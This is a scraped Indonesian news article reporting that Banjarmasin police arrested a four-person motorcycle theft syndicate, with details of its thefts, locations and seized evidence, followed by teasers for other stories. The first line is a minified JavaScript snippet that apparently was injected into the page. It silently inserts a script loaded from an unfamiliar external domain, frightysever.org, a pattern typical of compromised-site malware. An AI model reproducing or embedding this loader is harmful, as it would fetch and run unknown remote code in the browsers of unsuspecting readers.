(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jajaran Satreskrim Polresta Banjarmasin mengungkap pencurian kendaraan bermotor (Curanmor). Pelaku yang diketahui berjumlah empat orang beraksi sejak Agustus 2019.
Kepada awak media Senin (20/7/2020) pagi, Kapolresta Banjarmasin Kombes Pol Rachmat Hendrawan mengatakan, para pelaku ymasing-masing bernama AM, R, G dan F ini, merupakan sindikat Curanmor. Saat ini, kepolisian baru mendapati 9 unit sepeda motor yang merupakan barang bukti tindak kejahatan pelaku.
“Pelaku AM dan R telah melakukan aksinya dari bulan Agustus 2019 hingga 8 Juli 2020, sebanyak 17 kali. Yang kedua AM dan G, beraksi sebanyak 8 kali dari bulan Agustus sampai bulan Juli 2020,” kata Kombes Rachmat.
Terakhir, G bersama F yang belakangan diketahui merupakan sepasang suami istri. Keduanya ternyata telah beraksi sebanyak 3 kali, dari bulan Februari hingga Juli 2020.
Baca juga: Dibakar Api Cemburu, Doni Kalap Tusuk Pacar Mantan Istri
Selain di kota Banjarmasin sebanyak 20 TKP, keempat pelaku diketahui beraksi di beberapa kabupaten dan kota di Kalsel. Di mana, mereka juga beraksi di 4 TKP di kota Banjarbaru, dan masing-masing 2 TKP di Kabupaten Banjar dan Kabupaten Barito Kuala.
“Mereka ini sindikat. Saya belum mengetahui hasil pengembangan, yang jelas untuk sementara pengakuan mereka ini merupakan sindikat,” lugas Rachmat.
Baca juga: Berebut Beringin, Citra Kandidat dan Pragmatisme Politik di Pilkada Banjarmasin
Saat melakukan aksinya, tambah Kombes Rachmat mereka melakukan hanya dengan bermodal kunci T. Setelah melakukan aksinya dengan mengumpulkan beberapa unit sepeda motor, lantas para pelaku menjualnya hingga ke daerah Banua Anam.
“Jika terkumpul 3-4 unit motor lalu dijual seharga Rp3 juta. Dijual murah Rp3 juta,” imbuh Rachmat.
Selain 9 unit sepeda motor berbagai merk yang berhasil diamankan, kepolisian juga berhasil mengamankan barang bukti lain. Diantaranya berupa kunci T sebanyak 2 unit, STNK diduga hasil tindak kejahatan sebanyak 5 unit, dan uang tunai diduga hasil penjualan sebesar Rp5,5 juta. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More
This website uses cookies.